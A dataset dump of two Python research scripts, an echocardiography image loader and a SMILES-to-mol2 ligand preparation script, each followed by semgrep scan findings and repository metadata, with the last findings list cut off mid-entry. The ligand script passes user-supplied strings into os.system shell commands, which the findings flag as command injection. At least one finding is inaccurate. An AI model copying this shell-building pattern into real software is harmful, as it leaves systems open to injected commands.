import numpy as np from tensorflow.keras import preprocessing import cv2 import pandas as pd from postprocessing import * import os import Augmentor def load_datasets(filepath, sample_list, label_list, mark, a4c_or_a2c, m): """ we have illustrated the file structure of datasets and label in readme. filepath : File storage directory. sample_list : the ones separate for train val and test. label_list : the list of golden_label correspond to sample_list. label[-1] : start_mark which indicates the first frame number of .csv is ED or ES. mark is 1 -->train 0--->test 2--->val. a2c_or_a4c is num 2 or 4 """ # here can adjust n to apply your datasets if mark: n = 4000 else: n = 4000 dst_pair1 = np.zeros(shape=(n, m, m, 1), dtype=np.float32) dst_pair2 = np.zeros(shape=(n, m, m, 1), dtype=np.float32) dst_label = np.zeros(shape=(n,), dtype=np.int32) k = 0 label_list_copy = copy.deepcopy(label_list) for number in range(len(sample_list)): label = label_list_copy[sample_list[number]-1] # o--->up 1--->down start_mark = label.pop() for i in (label): position = label.index(i) if position == len(label)-1: break j = label[position+1] for t in range(i,j): # load imgs: from number i to number j-1-->pair1 # i+1 j-->pair2 img_p1 = cv2.imread(filepath+"Patient"+("000"+str(sample_list[number]))[-4:] + "\\a"+str(a4c_or_a2c)+"c\\"+str(t)+'.png', 0) img_p2 = cv2.imread(filepath+"Patient"+("000"+str(sample_list[number]))[-4:] + "\\a"+str(a4c_or_a2c)+"c\\"+str(t+1)+'.png', 0) # cut and unsamping use cv2.resize # original 600*800--cut-->512*512--->resize by cv2 ---> m*m dst_pair1[k, :, :, 0] = cv2.resize(img_p1[80:592, 176:688].reshape(512, -1, 1), (m, m))/255.0 dst_pair2[k, :, :, 0] = cv2.resize(img_p2[80:592, 176:688].reshape(512, -1, 1), (m, m))/255.0 if start_mark == 0: # up dst_label[k] = 0 else: dst_label[k] = 1 k += 1 if start_mark == 0: start_mark = 1 else: start_mark = 0 if mark == 1: pathname = 'train' elif mark == 0: pathname = 'test' else: pathname = "val" # save the imgs for augmentation before training. os.mkdir('../'+pathname+'p1/') os.mkdir('../'+pathname+'p2/') K = 0 for i in (dst_pair1[:k]): preprocessing.image.save_img('../'+pathname+'p1/'+str(K)+'.png', i) K += 1 K = 0 for i in (dst_pair2[:k]): preprocessing.image.save_img('../'+pathname+'p2/'+str(K)+'.png', i) K += 1 return dst_pair1[:k], dst_pair2[:k], dst_label[:k] def augment(): """ we use Augmentor lib a pipeline of augment no params input """ print("augmenting......") path1 = '../trainp1/' path2 = '../trainp2/' # path of pair1 and pair2 similar to img & mask task for segmentation p = Augmentor.Pipeline(path1) # pair1 p.ground_truth(path2) # pair2 p.rotate(probability=0.3, max_left_rotation=3, max_right_rotation=3) p.flip_left_right(probability=0.2) p.random_distortion(0.5, 2, 2, 2) p.zoom(probability=0.5, min_factor=0.95, max_factor=1.05) p.process() def load_aug_data(path, m): """ m: img_shape,e.g.64 128 256 return matrix of shape (n,m,m,1) """ aug_path = path+'output/' p1 = np.zeros(shape=(int(len(os.listdir(aug_path))/2), m, m, 1), dtype=np.float32) p2 = np.zeros(shape=(int(len(os.listdir(aug_path))/2), m, m, 1), dtype=np.float32) for filename in (os.listdir(aug_path)): img = preprocessing.image.load_img(aug_path+filename, color_mode="grayscale") if filename[:2] == 'tr': # pair1 index = filename.index('.') i = int(filename[17:index]) p1[i] = preprocessing.image.img_to_array(img)/255.0 else: index = filename.index('.') i = int(filename[25:index]) p2[i] = preprocessing.image.img_to_array(img)/255.0 print('aug_data is loaded!') return p1, p2 def get_label(path): # get ED ES label """ input a .csv file as describing on readme.md. return a list of label """ label_csv = pd.read_csv(path) label_list = [] trans_list = list(np.array(label_csv).astype(np.int32)) for i in trans_list: temp = [] for j in i: if j >= 0: temp.append(j) label_list.append(temp) return label_list
135
36.04
113
26
1,432
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-if-body_e8ba2df23f87b227_dff55239", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-if-body", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Useless if statement; both blocks have the same body", "remediation": "", "location": {"file_path": "unknown", "line_start": 21, "line_end": 24, "column_start": 5, "column_end": 17, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/controlflow.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-if-body", "path": "/tmp/tmpb8jm_z1l/e8ba2df23f87b227.py", "start": {"line": 21, "col": 5, "offset": 699}, "end": {"line": 24, "col": 17, "offset": 751}, "extra": {"message": "Useless if statement; both blocks have the same body", "metadata": {"references": ["https://docs.python.org/3/tutorial/controlflow.html"], "category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.useless-if-body" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 21 ]
[ 24 ]
[ 5 ]
[ 17 ]
[ "" ]
[ "Useless if statement; both blocks have the same body" ]
[ 5 ]
[ "" ]
[ "" ]
load_data.py
/train/method/model/load_data.py
Littlehong-1997/echo-1
Apache-2.0
2024-11-18T18:39:23.384050+00:00
1,609,845,233,000
87c4064c4fa3bb900d7dd55e35951f54d1724a12
2
{ "blob_id": "87c4064c4fa3bb900d7dd55e35951f54d1724a12", "branch_name": "refs/heads/master", "committer_date": 1609845233000, "content_id": "5a59f92cb1aa30c15b0b1fc5da2c9e86c1ac21e8", "detected_licenses": [ "MIT" ], "directory_id": "e342a154d99b52f403204d56cea2dd80a2bec088", "extension": "py", "filename": "prep_ligand_for_dock.py", "fork_events_count": 28, "gha_created_at": 1388681292000, "gha_event_created_at": 1517284843000, "gha_language": "Jupyter Notebook", "gha_license_id": "MIT", "github_id": 15588586, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7491, "license": "MIT", "license_type": "permissive", "path": "/Pipeline/prep_ligand_for_dock.py", "provenance": "stack-edu-0054.json.gz:569832", "repo_name": "CCBatIIT/AlGDock", "revision_date": 1609845233000, "revision_id": "25c376e9d860d50696f5e20f1b107d289ec0903c", "snapshot_id": "ecae435ab8d3e9819848ac4bf307e5bbade00e65", "src_encoding": "UTF-8", "star_events_count": 19, "url": "https://raw.githubusercontent.com/CCBatIIT/AlGDock/25c376e9d860d50696f5e20f1b107d289ec0903c/Pipeline/prep_ligand_for_dock.py", "visit_date": "2021-04-22T06:44:38.570854" }
2.4375
stackv2
# Expands a SMILES string to a 3D structure # in mol2 format with am1bcc charges and sybyl atom types try: import argparse parser = argparse.ArgumentParser() parser.add_argument('out_prefix', default='1hnn/ligand', \ help='Output prefix') parser.add_argument('inp', default='1hnn/ligand_in.mol2', \ help='SMILES string or input file name') parser.add_argument('UseOpenEye', choices=['Y','N'], \ help='Use OpenEye toolkit?') parser.add_argument('--RetainProtonation', action='store_true', \ help='Retains protonation state from input file') parser.add_argument('--RetainConformer', action='store_true', \ help='Retains conformer from input file') args = parser.parse_args() except ImportError: import sys class args: out_prefix = sys.argv[1] inp = sys.argv[2] UseOpenEye = sys.argv[3] smi = args.inp import os, inspect dirs = {} dirs['script'] = os.path.dirname(os.path.abspath(\ inspect.getfile(inspect.currentframe()))) execfile(os.path.join(dirs['script'],'_external_paths.py')) command_paths = findPaths(['balloon','chimera']) # Only necessary without OpenEye balloon_FN = os.path.abspath(args.out_prefix + '_balloon.mol2') charged_FN = os.path.abspath(args.out_prefix + '_AM1BCC.mol2') sybyl_FN = os.path.abspath(args.out_prefix + '_sybyl.mol2') def step_complete(FN): FN = os.path.abspath(FN) if os.path.isfile(FN): return True if FN==charged_FN and os.path.isfile(sybyl_FN): return True if FN==balloon_FN and os.path.isfile(sybyl_FN): return True return False for dirN in [os.path.dirname(args.out_prefix)]: if (dirN!='') and not os.path.isdir(dirN): os.system('mkdir -p '+dirN) if args.UseOpenEye=='Y' and not step_complete(charged_FN): from openeye import oechem from openeye import oequacpac mol = oechem.OEGraphMol() if os.path.isfile(args.inp): ifs = oechem.oemolistream(args.inp) oechem.OEReadMolecule(ifs, mol) ifs.close() else: # Create a OpenEye molecule object from the SMILES string if not oechem.OESmilesToMol(mol, smi): raise Exception('Invalid SMILES string', smi) oechem.OECanonicalOrderAtoms(mol) oechem.OECanonicalOrderBonds(mol) # Assign a reasonable protomer if args.RetainProtonation: for atom in mol.GetAtoms(): atom.SetImplicitHCount(0) else: if not oequacpac.OEGetReasonableProtomer(mol): print 'Failed to get a reasonable protomer at pH 7.4' oechem.OEAssignAromaticFlags(mol, oechem.OEAroModelOpenEye) if not args.RetainProtonation: oechem.OEAddExplicitHydrogens(mol) smi = oechem.OECreateSmiString(mol, oechem.OESMILESFlag_Canonical) print 'The canonical SMILES for a reasonably protonated state is', smi # Generate conformations from openeye import oeomega mol_multiconf = oechem.OEMol(mol) oechem.OECanonicalOrderAtoms(mol_multiconf) omega = oeomega.OEOmega() # These parameters were chosen to match http://docs.eyesopen.com/toolkits/cookbook/python/modeling/am1-bcc.html omega.SetMaxConfs(800) omega.SetIncludeInput(False) omega.SetCanonOrder(False) omega.SetStrictStereo(False) omega.SetStrictAtomTypes(False) omega.SetSampleHydrogens(True) # Word to the wise: skipping this step can lead to significantly different charges! omega.SetEnergyWindow(15.0) omega.SetRMSThreshold(1.0) # Word to the wise: skipping this step can lead to significantly different charges! if omega(mol_multiconf): # generate conformation # Generate am1bcc partial charges oequacpac.OEAssignCharges(mol_multiconf, oequacpac.OEAM1BCCELF10Charges()) # Get total charge conf = mol_multiconf.GetConf(oechem.OEHasConfIdx(0)) absFCharge = 0 sumFCharge = 0 sumPCharge = 0.0 for atm in mol_multiconf.GetAtoms(): sumFCharge += atm.GetFormalCharge() absFCharge += abs(atm.GetFormalCharge()) sumPCharge += atm.GetPartialCharge() oechem.OEThrow.Info("%s: %d formal charges give total charge %d ; Sum of Partial Charges %5.4f" % (mol_multiconf.GetTitle(), absFCharge, sumFCharge, sumPCharge)) # Output file ofs = oechem.oemolostream(charged_FN) ofs.SetFormat(oechem.OEFormat_MOL2H) oechem.OEWriteMolecule(ofs, conf) ofs.close() else: # Conformer generation failed. Use Ballon + Chimera print 'Conformer generation with OETools failed.' if (args.UseOpenEye=='N') or not step_complete(charged_FN): if not step_complete(balloon_FN): # Run Balloon to convert from a SMILES string to a 3D structure MMFF94_FN = os.path.join(os.path.dirname(command_paths['balloon']),'MMFF94.mff') command = command_paths['balloon'] + ' -f ' + MMFF94_FN + \ ' --nconfs 1 --nGenerations 300 "' + smi + '" ' + balloon_FN os.system(command) if os.path.isfile(os.path.basename(balloon_FN)[:-5]+'_bad.mol2'): print 'Conformer generation failed!' # Make the final out_prefixut an empty file open(sybyl_FN, 'a').close() if step_complete(balloon_FN): # Select the first model from the mol2 file F = open(balloon_FN, "r") mol2 = F.read() F.close() if mol2.count("@<TRIPOS>MOLECULE")>1: print 'Keeping first configuration in '+balloon_FN confs = mol2.strip().split("@<TRIPOS>MOLECULE") if confs[0]=='': confs.pop(0) F = open(balloon_FN,"w") F.write("@<TRIPOS>MOLECULE"+confs[0]) F.close() # Get the net charge based on the SMILES string charge = 0 lc = '' for c in smi: if c=='+': if lc.isdigit(): charge += int(lc) else: charge += 1 elif c=='-': if lc.isdigit(): charge -= int(lc) else: charge -= 1 lc = c print 'Net charge is ', charge if not step_complete(charged_FN): # Run chimera to get AM1BCC charges prep_script = os.path.join(dirs['script'], '_prep_ligand.chimera.py') command = command_paths['chimera'] + " --nogui --script" + \ " '%s --in_FN %s --out_FN %s --net_charge %d'"%(prep_script, balloon_FN, charged_FN, charge) os.system(command) if os.path.isfile(balloon_FN) and \ os.path.isfile(charged_FN): os.remove(balloon_FN) # Restore the original configuration to the charged file if not step_complete(sybyl_FN): if args.RetainConformer: from openeye import oechem if not os.path.isfile(args.inp): raise Exception('File %s not found'%args.inp) mol_in = oechem.OEGraphMol() ifs = oechem.oemolistream(args.inp) oechem.OEReadMolecule(ifs, mol_in) ifs.close() oechem.OECanonicalOrderAtoms(mol_in) if not os.path.isfile(charged_FN): raise Exception('File %s not found'%charged_FN) mol_out = oechem.OEGraphMol() ifs = oechem.oemolistream(charged_FN) oechem.OEReadMolecule(ifs, mol_out) ifs.close() if mol_in.GetMaxAtomIdx() != mol_out.GetMaxAtomIdx(): raise Exception('Number of atoms in input, %d, not equal to number in output, %d'%(\ mol_in.GetMaxAtomIdx(), mol_out.GetMaxAtomIdx())) import numpy as np coords = np.zeros((mol_in.GetMaxAtomIdx(),3)) coords_dict = mol_in.GetCoords() for a, ind_n in zip(mol_in.GetAtoms(), range(mol_in.GetMaxAtomIdx())): coords[ind_n,:] = coords_dict[a.GetIdx()] mol_out.SetCoords(coords.flatten()) ofs = oechem.oemolostream(sybyl_FN) ofs.SetFormat(oechem.OEFormat_MOL2H) oechem.OEWriteMolecule(ofs, mol_out) ofs.close() else: os.system('cp %s %s'%(charged_FN, sybyl_FN))
219
33.21
117
16
2,183
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_ac620877", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 5, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 49, "col": 5, "offset": 1645}, "end": {"line": 49, "col": 32, "offset": 1672}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_05fc0770", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 5, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 49, "col": 5, "offset": 1645}, "end": {"line": 49, "col": 32, "offset": 1672}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_72ea7acf", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 7, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 135, "col": 7, "offset": 4763}, "end": {"line": 135, "col": 25, "offset": 4781}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_cc5ec01c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 7, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 135, "col": 7, "offset": 4763}, "end": {"line": 135, "col": 25, "offset": 4781}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e014560c10163856_2d6bf9fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 140, "line_end": 140, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 140, "col": 5, "offset": 4944}, "end": {"line": 140, "col": 24, "offset": 4963}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e014560c10163856_cdd718ca", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 144, "line_end": 144, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 144, "col": 9, "offset": 5061}, "end": {"line": 144, "col": 30, "offset": 5082}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e014560c10163856_348985de", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 153, "line_end": 153, "column_start": 11, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 153, "col": 11, "offset": 5325}, "end": {"line": 153, "col": 31, "offset": 5345}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.writing-to-file-in-read-mode_e014560c10163856_848181aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "The file object 'F' was opened in read mode, but is being written to. This will cause a runtime error.", "remediation": "", "location": {"file_path": "unknown", "line_start": 154, "line_end": 154, "column_start": 7, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 154, "col": 7, "offset": 5352}, "end": {"line": 154, "col": 44, "offset": 5389}, "extra": {"message": "The file object 'F' was opened in read mode, but is being written to. This will cause a runtime error.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_1764c19f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 179, "col": 5, "offset": 6053}, "end": {"line": 179, "col": 23, "offset": 6071}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": 